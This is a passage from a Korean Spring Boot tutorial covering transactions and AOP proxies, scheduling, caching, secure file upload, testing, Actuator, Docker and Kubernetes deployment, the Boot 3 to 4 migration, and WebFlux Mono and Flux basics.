        order.pay();                           // ← 상태 변경 규칙은 '도메인'에 (먼저 검증)
        stockService.decrease(order.getProductId(), order.getQuantity());

        // 트랜잭션이 커밋된 뒤에 알림 (실패해도 주문은 유지)
        notifier.sendAfterCommit(order.getEmail(), "결제 완료");
        return OrderRes.from(order);           // 더티 체킹으로 자동 UPDATE
    }
}

// ── Domain — 규칙의 주인 ────────────────────────────
@Entity
public class Order {
    @Enumerated(EnumType.STRING)
    private OrderStatus status;

    public void pay() {
        if (status != OrderStatus.CREATED) {
            throw new AlreadyPaidException(id);    // 규칙이 여기 있다
        }
        this.status = OrderStatus.PAID;
        this.paidAt = LocalDateTime.now();
    }

    public boolean isCancelable() {
        return status.cancelable();
    }
}
“서비스가 비대해진다”는 신호 — 한 서비스가 500줄이 넘거나 리포지토리를 5개 이상 주입받고 있다면 도메인이 나눠질 때입니다. 상태를 바꾸는 규칙을 엔티티 안으로 옮기면 서비스가 눈에 띄게 얇아집니다.
BOOT 11

AOP · 트랜잭션 경계

“모든 메서드에 로그 남기기” 같은 가로지르는 관심사를 한 곳에 모으는 방법입니다.

AOP — 실행 시간 로깅 예제

@Aspect
@Component
@Slf4j
public class LoggingAspect {

    // 이 패키지 아래 모든 서비스 메서드
    @Around("execution(* com.myapp..*Service.*(..))")
    public Object logTime(ProceedingJoinPoint pjp) throws Throwable {
        long start = System.nanoTime();
        try {
            return pjp.proceed();                  // 원래 메서드 실행
        } finally {
            long ms = (System.nanoTime() - start) / 1_000_000;
            if (ms > 500) {
                log.warn("느린 메서드: {} {}ms", pjp.getSignature().toShortString(), ms);
            }
        }
    }

    // 특정 애너테이션이 붙은 것만
    @Around("@annotation(com.myapp.common.LogExecutionTime)")
    public Object logAnnotated(ProceedingJoinPoint pjp) throws Throwable { ... }
}
애너테이션시점
@Before메서드 실행 전
@AfterReturning정상 반환 후
@AfterThrowing예외 발생 시
@After무조건 (finally)
@Around전후 모두 — 가장 많이 씁니다

⚠️ 프록시의 한계 — 자기 호출은 안 먹는다

❌ 트랜잭션이 안 걸립니다
@Service
public class OrderService {

    public void process() {
        save();          // ← this.save() 라서 프록시를 안 거침!
    }

    @Transactional
    public void save() { ... }    // 트랜잭션 없이 실행됨 💥
}
✅ 해결책
// 1) 클래스를 분리한다 (권장)
@Service
@RequiredArgsConstructor
public class OrderService {
    private final OrderSaver saver;      // 다른 빈이므로 프록시를 거침
    public void process() { saver.save(); }
}

// 2) 호출하는 쪽 메서드에 붙인다
@Transactional
public void process() { save(); }

// 3) 자기 자신을 주입 (임시방편)
// ⚠️ @RequiredArgsConstructor 는 필드의 @Lazy 를 생성자 파라미터로
//    복사하지 않아 그냥은 순환 참조로 실패합니다. lombok.config 에
//    lombok.copyableAnnotations += org.springframework.context.annotation.Lazy
//    를 넣거나, 생성자를 직접 작성해 파라미터에 @Lazy 를 붙이세요.
@Lazy private final OrderService self;
public void process() { self.save(); }
같은 이유로 private 메서드에는 @Transactional·AOP 가 안 걸립니다. 프록시가 오버라이드할 수 없기 때문입니다.

🔥 극한 난이도 — @Transactional 의 속살: 전파 · 롤백 마킹 · 프록시의 종류

UnexpectedRollbackException — 잡았는데 왜 롤백되나

@Service
class OrderService {
    @Transactional                        // 바깥 트랜잭션
    public void place(Order o) {
        repo.save(o);
        try {
            pointService.give(o);         // 안쪽도 @Transactional (REQUIRED)
        } catch (Exception e) {
            log.warn("포인트 실패 — 주문은 계속");   // 잡았으니 괜찮겠지?
        }
        // 커밋 시점에 UnexpectedRollbackException 💥 주문까지 통째 롤백
    }
}
// 왜 — REQUIRED 는 '같은 물리 트랜잭션'에 올라탑니다.
// 안쪽에서 RuntimeException 이 프록시를 '통과하는 순간'
// 그 물리 트랜잭션에 rollback-only 도장이 찍힙니다.
// 바깥이 예외를 삼켜도 도장은 남아 있어 커밋이 거부됩니다.

// 해결 — 실패가 격리돼야 하면 물리 트랜잭션을 분리
@Transactional(propagation = Propagation.REQUIRES_NEW)
public void give(Order o) { ... }
// REQUIRES_NEW: 바깥 트랜잭션(=커넥션)을 '보류(suspend)'하고 새로 시작
//   ★ 커넥션을 2개 점유 — 풀이 작으면 자기 자신과 데드락 납니다
// NESTED: 같은 커넥션에 JDBC savepoint — 안쪽만 부분 롤백 (JPA 미지원)
롤백 기본 규칙도 함께 — 기본은 unchecked 만 롤백합니다. checked 예외는 커밋돼 버립니다 → rollbackFor = Exception.class 를 습관으로. 그리고 @Transactional(readOnly = true) 는 JPA 에서 flush 를 끄고 스냅숏 비교를 생략하는 실제 성능 기능입니다 (읽기 전용 레플리카 라우팅의 판단 키로도 쓰입니다).

프록시는 정확히 무엇으로 만들어지나

// TransactionInterceptor 가 하는 일 (의사 코드)
Object invoke(MethodInvocation inv) {
    TransactionInfo tx = createTransactionIfNecessary(...);
    //   ↑ ThreadLocal(TransactionSynchronizationManager)에
    //     커넥션을 바인딩 — 그래서 '같은 스레드'만 같은 트랜잭션
    try {
        Object ret = inv.proceed();               // 실제 메서드
        commitTransactionAfterReturning(tx);      // 커밋
        return ret;
    } catch (Throwable ex) {
        completeTransactionAfterThrowing(tx, ex); // 규칙에 따라 롤백 마킹
        throw ex;
    }
}
// ★ ThreadLocal 기반이라는 것의 의미:
//   @Transactional 안에서 CompletableFuture·@Async 로 넘어간 코드는
//   '트랜잭션 밖'입니다. 조용히 auto-commit 으로 돌고 있습니다.
//   가상 스레드는 괜찮습니다 — 스레드가 안 바뀌니까.

// JDK 동적 프록시 vs CGLIB
//   인터페이스 구현체 → JDK Proxy 가능 / 클래스뿐 → CGLIB 서브클래스
//   Boot 기본: proxyTargetClass=true (전부 CGLIB)
//   CGLIB 는 '상속'이므로 — final 클래스 ❌ · final 메서드는
//   오버라이드 불가라 어드바이스가 조용히 빠집니다 (경고도 안 남 ★)
//   생성자도 한 번 더 돕니다 (Objenesis 로 회피하지만 부작용 코드는 금물)

// 부트 4 / 스프링 7 — AspectJ 없이 인터페이스 없는 클래스에
//   @Aspect 를 걸 수 있는 건 전부 이 CGLIB 덕분입니다
극한 질문 3연타 대비 — “rollback-only 는 물리 트랜잭션에 찍힌다” · “REQUIRES_NEW 는 커넥션 2개 = 풀 데드락 위험” · “트랜잭션은 ThreadLocal 이라 스레드를 넘으면 사라진다”. 여기에 “NESTED 는 savepoint, JPA 는 미지원”까지 얹으면 끝입니다.
@Transactional 이 안 먹는 이유 — 프록시를 안 거쳤을 때 컨트롤러 밖에서 호출 프록시 (대리 객체) 트랜잭션을 열고 닫습니다 실제 서비스 내 코드가 실행됩니다 커밋 또는 롤백 함정 ① — 같은 클래스 안에서 자기 메서드 호출 this.save() 는 프록시를 거치지 않습니다 — 애너테이션이 있어도 트랜잭션이 안 열립니다 해결 — 다른 빈으로 분리하거나 호출 지점을 밖으로 옮기세요 함정 ② — 검사 예외에서는 기본적으로 롤백하지 않습니다 RuntimeException 과 Error 에서만 되돌아갑니다 — IOException 은 커밋됩니다 필요하면 rollbackFor 를 지정하세요 트랜잭션 범위 안에서 외부 API 를 부르지 마세요 — 커넥션을 붙잡은 채 네트워크를 기다리게 됩니다
"저장이 안 돼요" 와 "롤백이 안 돼요" 는 거의 항상 이 두 함정입니다.
BOOT 12

스케줄러 · 비동기 · 캐시

주기 실행, 백그라운드 처리, 결과 재사용. 애너테이션 하나로 끝나는 것들입니다.

⏰ 스케줄러

@SpringBootApplication
@EnableScheduling            // 켜기
public class Application { }

@Component
@Slf4j
public class OrderScheduler {

    // 매일 새벽 3시
    @Scheduled(cron = "0 0 3 * * *", zone = "Asia/Seoul")
    public void settle() { ... }

    // 이전 실행이 끝난 뒤 10분
    @Scheduled(fixedDelay = 600_000)
    public void cleanup() { ... }

    // 시작 시각 기준 10분마다
    @Scheduled(fixedRate = 600_000,
               initialDelay = 30_000)
    public void poll() { ... }
}

/* cron: 초 분 시 일 월 요일
   0 0 3 * * *     매일 3시
   0 0/30 * * * *  30분마다
   0 0 9 * * MON-FRI  평일 9시 */
서버를 여러 대 띄우면 전부 실행됩니다. DB 락이나 ShedLock 으로 한 대만 돌게 하세요.

⚡ 비동기

@SpringBootApplication
@EnableAsync
public class Application { }

@Service
public class MailService {

    @Async                       // 별도 스레드에서
    public void send(String to) {
        // 오래 걸려도 호출한 쪽은 안 기다림
    }

    @Async
    public CompletableFuture<Report> build() {
        return CompletableFuture
                .completedFuture(makeReport());
    }
}
# 가상 스레드를 쓰면 풀 설정이 불필요
spring:
  threads:
    virtual:
      enabled: true
@Async 도 프록시 기반이라 자기 호출은 안 먹습니다. 그리고 트랜잭션이 이어지지 않습니다 — 비동기 메서드는 새 트랜잭션이 필요합니다.

💾 캐시

@SpringBootApplication
@EnableCaching
public class Application { }

@Service
public class ProductService {

    // 있으면 그대로, 없으면 실행 후 저장
    @Cacheable(value = "products", key = "#id")
    public Product get(Long id) {
        return repository.findById(id)
                .orElseThrow();
    }

    // 실행하고 결과로 갱신
    @CachePut(value = "products", key = "#p.id")
    public Product update(Product p) { ... }

    // 지우기
    @CacheEvict(value = "products", key = "#id")
    public void delete(Long id) { ... }

    @CacheEvict(value = "products",
                allEntries = true)
    public void clearAll() { }
}
spring:
  cache:
    type: caffeine       # 로컬
    caffeine:
      spec: maximumSize=1000,expireAfterWrite=10m
# 서버 여러 대면 redis
BOOT 13

파일 업로드 · 다운로드

엑셀 다운로드는 실무에서 가장 자주 요청받는 기능 중 하나입니다.

업로드

@PostMapping(value = "/upload",
             consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
public UploadRes upload(@RequestPart("file") MultipartFile file,
                        @RequestPart("meta") @Valid MetaReq meta) {

    if (file.isEmpty()) throw new BadRequestException("파일이 비어 있습니다");

    // 확장자 검증 — 파일명만 믿지 말 것
    String name = StringUtils.cleanPath(
            Objects.requireNonNull(file.getOriginalFilename()));
    if (name.contains("..")) throw new BadRequestException("잘못된 경로");

    String ext = StringUtils.getFilenameExtension(name);
    if (ext == null                    // 확장자 없음 — List.of().contains(null) 은 NPE
            || !List.of("xlsx", "csv", "png", "jpg").contains(ext.toLowerCase())) {
        throw new BadRequestException("허용되지 않는 형식입니다");
    }

    // 저장 — 원본 이름을 그대로 쓰지 말 것 (덮어쓰기·경로 조작 방지)
    String saved = UUID.randomUUID() + "." + ext;
    Path target = uploadDir.resolve(saved);
    file.transferTo(target);

    return new UploadRes(saved, file.getSize());
}

// 여러 개
public void uploads(@RequestPart("files") List<MultipartFile> files) { }
spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 50MB

다운로드

@GetMapping("/download/{id}")
public ResponseEntity<Resource> download(@PathVariable Long id) {
    FileMeta meta = fileService.get(id);
    Resource resource = new FileSystemResource(meta.path());

    // 한글 파일명은 반드시 인코딩 (안 하면 깨지거나 다운로드 실패)
    String encoded = UriUtils.encode(meta.originalName(), StandardCharsets.UTF_8);

    return ResponseEntity.ok()
            .contentType(MediaType.APPLICATION_OCTET_STREAM)
            .header(HttpHeaders.CONTENT_DISPOSITION,
                    "attachment; filename=\"" + encoded + "\"; " +
                    "filename*=UTF-8''" + encoded)
            .contentLength(meta.size())
            .body(resource);
}

// 메모리에 안 올리고 바로 흘려보내기 (대용량) ★
@GetMapping("/export")
public void export(HttpServletResponse res) throws IOException {
    res.setContentType(
        "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
    res.setHeader(HttpHeaders.CONTENT_DISPOSITION,
                  "attachment; filename=\"orders.xlsx\"");

    try (var out = res.getOutputStream()) {
        excelService.writeTo(out);      // 스트리밍으로 직접 씀
    }
}
엑셀 생성은 🧰 실전 도구 탭 06번(POI)에서 자세히 다룹니다. 수만 행 이상이면 07번의 SXSSF 스트리밍을 꼭 보세요 — 안 그러면 OOM 이 납니다.
BOOT 14

테스트

테스트는 “잘 만든 증거”가 아니라 “고쳐도 안 깨진다는 보험”입니다. 리팩터링 속도가 달라집니다.

① 단위 테스트 — 가장 빠름

@ExtendWith(MockitoExtension.class)
class OrderServiceTest {

    @Mock OrderRepository repository;
    @Mock StockService stockService;
    @Mock Notifier notifier;
    @InjectMocks OrderService service;

    @Test
    @DisplayName("이미 결제된 주문은 다시 결제할 수 없다")
    void payTwice() {
        // given
        Order order = OrderFixture.paid();
        given(repository.findById(1L))
                .willReturn(Optional.of(order));

        // when & then
        assertThatThrownBy(() -> service.pay(1L))
                .isInstanceOf(AlreadyPaidException.class);

        then(notifier).shouldHaveNoInteractions();
    }
}

② 웹 계층 테스트

@WebMvcTest(OrderController.class)
class OrderControllerTest {

    @Autowired MockMvc mvc;
    @MockitoBean OrderService service;   // Boot 3.4+

    @Test
    void 수량이_0이면_400() throws Exception {
        mvc.perform(post("/api/orders")
                .contentType(APPLICATION_JSON)
                .content("""
                    {"productId":1,"quantity":0,"address":"서울"}
                    """))
           .andExpect(status().isBadRequest())
           .andExpect(jsonPath("$.errors[0].field")
                   .value("quantity"));
    }
}

③ 통합 테스트

@SpringBootTest(webEnvironment =
        WebEnvironment.RANDOM_PORT)
@AutoConfigureTestRestTemplate     // ★ Boot 4 부터 필수
@Testcontainers                    // 진짜 DB 로 검증 ★
class OrderIntegrationTest {

    @Container
    static MySQLContainer<?> mysql =
            new MySQLContainer<>("mysql:8.4");

    @DynamicPropertySource
    static void props(DynamicPropertyRegistry r) {
        r.add("spring.datasource.url", mysql::getJdbcUrl);
        r.add("spring.datasource.username", mysql::getUsername);
        r.add("spring.datasource.password", mysql::getPassword);
    }

    @Autowired TestRestTemplate rest;

    @Test
    void 주문_생성부터_결제까지() { ... }
}
H2 대신 Testcontainers — H2 는 문법이 달라 “테스트는 통과했는데 운영에서 깨지는” 일이 생깁니다.
Boot 4 부터 TestRestTemplate 이 자동으로 안 들어옵니다 — @SpringBootTest 만으로는 주입이 실패합니다. @AutoConfigureTestRestTemplate 을 붙이거나, 아예 RestTestClient·WebTestClient 로 옮기세요.
무엇부터 테스트할까 — ① 돈·재고처럼 틀리면 안 되는 로직 ② 조건이 복잡한 분기(할인 계산, 상태 전이) ③ 버그가 났던 곳(재발 방지). getter/setter 나 단순 위임은 테스트하지 마세요 — 유지보수 부담만 늘어납니다.
BOOT 15

Actuator · 모니터링

“서버가 살아 있나?”, “어디가 느리지?”를 코드 없이 알 수 있게 해 줍니다.

build.gradle.kts — implementation("org.springframework.boot:spring-boot-starter-actuator") · runtimeOnly("io.micrometer:micrometer-registry-prometheus")
management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus   # 필요한 것만!
  endpoint:
    health:
      show-details: when_authorized
      probes:
        enabled: true          # k8s liveness/readiness
  metrics:
    tags:
      application: ${spring.application.name}
엔드포인트내용
/actuator/health살아 있는지 (LB·k8s 가 확인)
/actuator/metricsJVM·HTTP·DB 지표
/actuator/prometheus프로메테우스 수집용
/actuator/loggers재시작 없이 로그 레벨 변경
/actuator/env설정값 (⚠️ 비밀 노출 주의)

직접 지표 만들기

@Service
@RequiredArgsConstructor
public class OrderService {
    private final MeterRegistry registry;

    public void pay(Long id) {
        Timer.Sample sample = Timer.start(registry);
        try {
            doPay(id);
            registry.counter("order.pay", "result", "success").increment();
        } catch (Exception e) {
            registry.counter("order.pay", "result", "fail").increment();
            throw e;
        } finally {
            sample.stop(registry.timer("order.pay.time"));
        }
    }
}

// 커스텀 헬스 체크
@Component
public class ExternalApiHealthIndicator implements HealthIndicator {
    @Override
    public Health health() {
        return client.ping()
                ? Health.up().build()
                : Health.down().withDetail("reason", "무응답").build();
    }
}
운영에서는 반드시 보호하세요 — include: "*" 로 전부 열면 /actuator/env·/actuator/heapdump 로 DB 비밀번호까지 새어 나갑니다. 내부망에만 노출하거나 Security 로 막으세요.
BOOT 16

배포 · Docker

jar 하나로 끝나기 때문에 배포는 생각보다 단순합니다.

빌드하고 실행하기

# 빌드
./gradlew clean build          # build/libs/app-1.0.0.jar

# 실행
java -jar app.jar \
     --spring.profiles.active=prod \
     --server.port=8080

# 운영에서 자주 쓰는 옵션
java -XX:MaxRAMPercentage=75 \
     -XX:+HeapDumpOnOutOfMemoryError \
     -XX:HeapDumpPath=/var/log/ \
     -Duser.timezone=Asia/Seoul \
     -Dfile.encoding=UTF-8 \
     -jar app.jar

Dockerfile — 레이어를 나눠서

# 의존성과 애플리케이션 코드를 분리하면
# 코드만 바뀔 때 캐시가 살아 빌드가 훨씬 빨라집니다
FROM eclipse-temurin:25-jre AS base
WORKDIR /app

FROM base AS builder
# *.jar 로 쓰면 Gradle 의 -plain.jar 까지 잡혀 COPY 가 실패합니다 — 정확한 이름으로
COPY build/libs/app-1.0.0.jar application.jar
RUN java -Djarmode=tools -jar application.jar extract --layers --destination extracted

FROM base
COPY --from=builder /app/extracted/dependencies/ ./
COPY --from=builder /app/extracted/spring-boot-loader/ ./
COPY --from=builder /app/extracted/snapshot-dependencies/ ./
COPY --from=builder /app/extracted/application/ ./

EXPOSE 8080
# extract 는 원본 jar 이름(application.jar)을 그대로 application/ 에 남깁니다 — 그것을 -jar 로 실행
# (JarLauncher 를 직접 부르려면 -cp 가 필요해서 그대로 쓰면 ClassNotFoundException 이 납니다)
ENTRYPOINT ["java", "-XX:MaxRAMPercentage=75", "-jar", "application.jar"]

배포 전 체크리스트

  • ✅ ddl-auto: validate — update·create 는 절대 금지
  • ✅ 비밀번호·키가 환경 변수로 빠져 있나
  • ✅ server.shutdown: graceful — 처리 중 요청 보호
  • ✅ Actuator 가 외부에 열려 있지 않은지
  • ✅ 로그 레벨이 운영은 INFO (DEBUG 는 디스크를 태웁니다)
  • ✅ 타임존 -Duser.timezone=Asia/Seoul
  • ✅ 헬스 체크 경로를 LB 에 등록
  • ✅ 힙 덤프 경로 설정 (OOM 원인 분석용)
  • ✅ DB 커넥션 풀 크기 ↔ 서버 대수 확인
무중단 배포는 graceful 종료 + readiness 프로브 조합이 기본입니다. 새 인스턴스가 /actuator/health/readiness 에서 UP 을 반환한 뒤에 트래픽을 옮기고, 옛 인스턴스는 처리 중인 요청을 마치고 내려가게 합니다.
BOOT 17

쿠버네티스 · 무중단 배포

대기업 배포는 거의 다 K8s 입니다. 애플리케이션이 지켜야 할 약속이 몇 가지 있습니다.

두 가지 프로브 — 역할이 다릅니다

프로브실패하면
liveness
살아 있나?
파드를 죽이고 재시작합니다. 여기에 DB 검사를 넣으면 DB 가 잠깐 흔들릴 때 전 파드가 재시작합니다 — 넣지 마세요
readiness
받을 준비 됐나?
트래픽만 끊고 재시작은 안 합니다. DB·Redis 의존성은 여기에 넣습니다
startup기동이 느린 앱을 위해 초기에만 여유를 줍니다
# application.yml — 부트가 두 엔드포인트를 만들어 줍니다
management:
  endpoint:
    health:
      probes:
        enabled: true          # /actuator/health/liveness, /readiness
  health:
    livenessstate:  { enabled: true }
    readinessstate: { enabled: true }

server:
  shutdown: graceful           # ★ 처리 중인 요청을 끝내고 종료
spring:
  lifecycle:
    timeout-per-shutdown-phase: 30s
# deployment.yaml
livenessProbe:
  httpGet: { path: /actuator/health/liveness, port: 8080 }
  initialDelaySeconds: 30
  periodSeconds: 10
  failureThreshold: 3
readinessProbe:
  httpGet: { path: /actuator/health/readiness, port: 8080 }
  initialDelaySeconds: 10
  periodSeconds: 5
resources:
  requests: { cpu: "500m", memory: "1Gi" }    # 스케줄링 기준
  limits:   { cpu: "2",    memory: "2Gi" }    # 넘으면 OOMKilled

무중단 배포 — 끊기는 진짜 이유

파드 종료 순간 실제로 일어나는 일

  1. K8s 가 파드를 "종료 중"으로 표시
  2. 서비스 엔드포인트에서 제거   ┐ 이 둘은
  3. 컨테이너에 SIGTERM 전달      ┘ 동시에 일어납니다 (순서 보장 없음)

  → 3번이 먼저 오면, 아직 라우팅되는 상태에서 앱이 종료를 시작
  → 그 사이에 들어온 요청이 502 로 떨어집니다

해결: 종료 신호를 받고 몇 초 버틴 뒤에 실제 종료를 시작
lifecycle:
  preStop:
    exec: { command: ["sh", "-c", "sleep 5"] }   # ★ 엔드포인트 제거를 기다림
terminationGracePeriodSeconds: 60                 # graceful shutdown 보다 길게

strategy:
  type: RollingUpdate
  rollingUpdate:
    maxSurge: 1          # 새 파드를 1개 더 띄우고
    maxUnavailable: 0    # ★ 기존 파드는 하나도 안 줄인다 = 무중단
배포할 때마다 잠깐 502 가 뜬다면 열에 아홉은 preStop 이 없거나 server.shutdown: graceful 이 빠진 것입니다. 스케일 인·노드 교체 때도 똑같이 일어나므로 반드시 넣으세요.

오토스케일 · 설정 주입

apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
spec:
  minReplicas: 3          # ★ 2 이상 — 1이면 재시작 때 서비스가 멈춥니다
  maxReplicas: 20
  metrics:
    - type: Resource
      resource: { name: cpu, target: { type: Utilization, averageUtilization: 60 } }
  behavior:
    scaleDown:
      stabilizationWindowSeconds: 300    # 급하게 줄이지 않기 (플래핑 방지)
설정과 비밀값은 이미지에 넣지 마세요. ConfigMap·Secret 을 환경 변수로 주입하면 스프링이 SPRING_DATASOURCE_PASSWORD 같은 이름을 자동으로 매핑합니다. 같은 이미지를 개발·스테이징·운영에 그대로 쓰는 게 원칙입니다. 서버가 여러 대가 된 뒤의 이야기는 ⚡ 대규모 트래픽 탭에서 이어집니다.
BOOT 18

Spring Boot 3 → 4 마이그레이션

Spring Boot 3.5 의 OSS 지원이 2026-06-30 로 끝나 3.x 전 브랜치가 EOL 입니다. 현행은 4.1.0 GA(2026-06-10). 손에 3.x 코드가 있다면 여기부터 보세요.

① 먼저 확인할 환경 요구사항

항목Boot 4.1 요구
Java17 ~ 26 (권장 25 LTS)
Gradle8.14+ 또는 9.x
Maven3.6.3+
서블릿 컨테이너Tomcat 11.0 · Jetty 12.1 (Servlet 6.1)
Undertow지원 제거 — Tomcat·Jetty 로 옮겨야 합니다
네이티브 이미지GraalVM CE 25 · Native Build Tools 1.1.1+
// build.gradle.kts
plugins {
    java
    id("org.springframework.boot") version "4.1.0"
    id("io.spring.dependency-management") version "1.1.7"
}

java { toolchain { languageVersion = JavaLanguageVersion.of(25) } }

② 이름이 바뀐 스타터 4종

Boot 3Boot 4
starter-webstarter-webmvc
starter-aopstarter-aspectj
starter-oauth2-clientstarter-security-oauth2-client
starter-web-servicesstarter-webservices
옛 이름은 그냥 “없는 의존성” 이 됩니다 — 빌드가 Could not find … 로 바로 실패하니 오히려 조용히 깨지는 것보다 낫습니다.

③ 코드에서 반드시 고쳐야 하는 것

주제Boot 3Boot 4 에서 할 일
테스트 목 @MockBean · @SpyBean 제거됨 → @MockitoBean · @MockitoSpyBean
TestRestTemplate @SpringBootTest 만으로 주입 자동 제공 중단 → @AutoConfigureTestRestTemplate 추가
JSON Jackson 2 (com.fasterxml) Jackson 3 (tools.jackson) · ObjectMapper → 불변 JsonMapper
당장 못 옮기면 spring.jackson.use-jackson2-defaults=true 로 유예
메시지 컨버터 HttpMessageConverters deprecated → HttpMessageConverter 빈 등록 방식으로
트레이싱 설정 management.tracing.enabled management.tracing.export.enabled
Spring Batch DB 저장소가 기본 in-memory 가 기본 → DB 쓰려면 starter-batch-jdbc
Undertow 지원 지원 제거
Spock 통합 지원 통합 제거 — JUnit 6 기반으로 옮기기
손으로 다 고치지 마세요 — OpenRewrite 가 대부분 해 줍니다. 스타터 개명 · @MockBean → @MockitoBean · Jackson 2 → 3 · Security 6 → 7 이 전부 레시피로 있습니다. 🧰 실전 도구 탭의 도구표에 실행법을 정리해 뒀습니다.
프로퍼티가 조용히 무시되는 게 제일 무섭습니다. 옮기는 동안에는 runtimeOnly("org.springframework.boot:spring-boot-properties-migrator") 를 넣어 두세요. 기동 로그에 바뀐 키·없어진 키를 전부 찍어 줍니다. 마이그레이션이 끝나면 반드시 빼세요(운영에 남기면 기동이 느려집니다).
SPRING WEBFLUX · PROJECT REACTOR · R2DBC

기다리지 않고
흘려보내는
서버

WebFlux 는 “빠른 서버”가 아니라 적은 스레드로 많은 연결을 버티는 서버입니다. 잘 쓰면 강력하지만 아무 데나 쓰면 손해입니다. 그래서 언제 쓰지 말아야 하는지부터 시작합니다.

18SECTIONS
N개스레드 (CPU 코어 수)
수만동시 연결
0블로킹 허용
FLUX 01

왜 WebFlux인가 — 그리고 언제 쓰지 말아야 하나

가상 스레드가 나온 지금, 이 판단이 예전보다 훨씬 중요해졌습니다.

MVC — 요청 하나에 스레드 하나

요청 1 → [스레드 1] ──DB 대기 2초── 응답
요청 2 → [스레드 2] ──DB 대기 2초── 응답
   …
요청 201 → 대기 (톰캣 기본 풀 200개 소진)

스레드는 '기다리는 동안'에도 메모리를 붙잡고 있다

WebFlux — 적은 스레드가 돌려막기

요청 1~10000 → [이벤트 루프 스레드 8개]
   DB 요청을 던져 놓고 → 즉시 다른 요청 처리
   결과가 오면 → 콜백으로 이어서 처리

기다리는 동안 스레드가 놀지 않는다

셋 중 무엇을 고를까 2026 기준

상황선택
일반적인 CRUD APIMVC — 고민할 필요 없습니다
동시 접속은 많은데 로직은 I/O 대기 위주MVC + 가상 스레드 ★ 코드는 그대로, 처리량만 올라갑니다
실시간 스트리밍 · SSE · 채팅WebFlux
수십 개 API 를 조합하는 게이트웨이WebFlux
백프레셔가 필요한 데이터 파이프라인WebFlux
팀에 리액티브 경험자가 없다MVC — 학습·디버깅 비용이 큽니다
솔직한 조언 — “성능이 좋다더라”로 WebFlux 를 고르면 대부분 후회합니다. 스택 트레이스가 안 읽히고, 중간에 블로킹 코드 하나만 섞여도 전체 서버가 멈춥니다. 처리량이 목적이라면 🧬 고급 탭의 가상 스레드를 먼저 검토하세요.
build.gradle.kts — implementation("org.springframework.boot:spring-boot-starter-webflux")
⚠️ starter-webmvc(Boot 3 의 starter-web) 와 함께 넣으면 MVC 가 이깁니다. WebFlux 를 쓰려면 starter-webmvc 를 빼세요.
WebFlux 를 쓸 때와 쓰지 말아야 할 때 유리한 경우 동시 연결이 아주 많고 대부분 기다리는 시간인 서비스 (SSE · 채팅 · 게이트웨이) 외부 API 를 여러 개 병렬로 부르고 합치는 일이 많은 경우 스트리밍으로 흘려보내야 하는 응답 — 전체를 메모리에 올리지 않아도 됩니다 쓰지 말아야 할 경우 써야 하는 라이브러리가 블로킹일 때 — 하나만 섞여도 이벤트 루프가 막힙니다 팀이 리액티브에 익숙하지 않을 때 — 디버깅과 스택 추적이 확연히 어렵습니다 트래픽이 크지 않을 때 — 복잡도만 늘고 체감 이득이 없습니다 가상 스레드가 나온 뒤로는 "많은 동시 연결" 만으로는 이유가 부족해졌습니다 판단은 측정으로 하세요 — 지금 구조에서 무엇이 한계인지 재고 나서 정하는 것이 순서입니다
WebFlux 는 더 빠른 스프링이 아니라 다른 자원 모델입니다.
FLUX 02

Mono와 Flux

리액티브의 모든 것이 이 둘로 표현됩니다. “값이 나중에 온다”를 담는 상자라고 보면 정확합니다.

둘의 차이는 개수뿐

타입의미MVC 대응
Mono<T>0 또는 1개T · Optional<T>
Flux<T>0 ~ N개 (무한 가능)List<T> · Stream<T>
// 만들기
Mono<String> m1 = Mono.just("값");
Mono<String> m2 = Mono.empty();                 // 값 없음
Mono<String> m3 = Mono.error(new RuntimeException());
Mono<String> m4 = Mono.fromCallable(() -> compute());   // 지연 실행
Mono<String> m5 = Mono.defer(() -> Mono.just(now()));   // 구독할 때마다 새로

Flux<Integer> f1 = Flux.just(1, 2, 3);
Flux<Integer> f2 = Flux.range(1, 100);
Flux<String> f3 = Flux.fromIterable(list);
Flux<Long> f4 = Flux.interval(Duration.ofSeconds(1));   // 1초마다 무한

// 변환
Mono<List<T>> list = flux.collectList();
Flux<T> flux2 = mono.flux();
Mono<T> first = flux.next();

⚠️ 구독하지 않으면 아무 일도 안 일어난다

❌ 실행되지 않습니다
public void save(Order o) {
    repository.save(o);        // Mono 를 만들기만 하고 버림
}                              // DB 에 아무것도 안 들어감 💥
✅ 반환해서 프레임워크가 구독하게
public Mono<Order> save(Order o) {
    return repository.save(o);    // 컨트롤러가 반환하면 스프링이 구독
}

Mono·Flux 는 “무엇을 할지 적어 둔 설계도”일 뿐입니다. 누군가 subscribe() 해야 비로소 흐르기 시작합니다. 웹 컨트롤러에서는 반환만 하면 스프링이 대신 구독합니다 — 직접 subscribe()를 호출하는 코드는 대개 잘못된 신호입니다.

구독하기 전에는 아무 일도 일어나지 않습니다 Mono — 0 또는 1개 값 하나 | 완료 findById · save · 단건 API 응답 Flux — 0..N 개 | 완료 목록 조회 · 스트리밍 · 이벤트 구독 끝나는 방법은 둘 중 하나 완료 신호 또는 오류 신호 — 오류가 나면 그 자리에서 끝납니다 이어서 흐르게 하려면 onErrorResume 등으로 갈아탑니다 조립과 실행은 다릅니다 map · filter 를 아무리 이어 붙여도 그때는 실행되지 않습니다 구독(subscribe · 프레임워크가 대신)해야 흐르기 시작합니다
"로그가 안 찍혀요"의 대부분은 구독하지 않은 것입니다.
FLUX 03

연산자 지도

수백 개가 있지만 실무에서 쓰는 건 20개 남짓입니다. 목적별로 묶어 두면 찾기 쉽습니다.

연산자하는 일메모
■ 변환
map(v -> f(v))값을 바꿈 (동기)Stream 의 map 과 동일
flatMap(v -> mono)또 다른 비동기 호출을 이어붙임가장 많이 씁니다. 순서 보장 안 됨
concatMapflatMap + 순서 보장순서가 중요하면 이걸로
flatMapSequential동시 실행 + 결과는 순서대로성능과 순서 둘 다
switchMap새 값이 오면 이전 것 취소검색어 자동완성
■ 거르기
filter조건에 맞는 것만
take(n) / skip(n)앞 n개 / n개 건너뛰기무한 스트림 자르기
distinct()중복 제거
takeUntil / takeWhile조건까지만
■ 합치기
zip(a, b)둘을 동시 실행 후 짝지음API 병렬 호출의 핵심 ★
merge여러 개를 뒤섞어 하나로도착 순서대로
concat앞의 것이 끝나면 다음순차
then / thenReturn앞의 결과를 버리고 다음저장 후 완료 신호
■ 없을 때 · 에러
defaultIfEmpty(v)비었으면 기본값
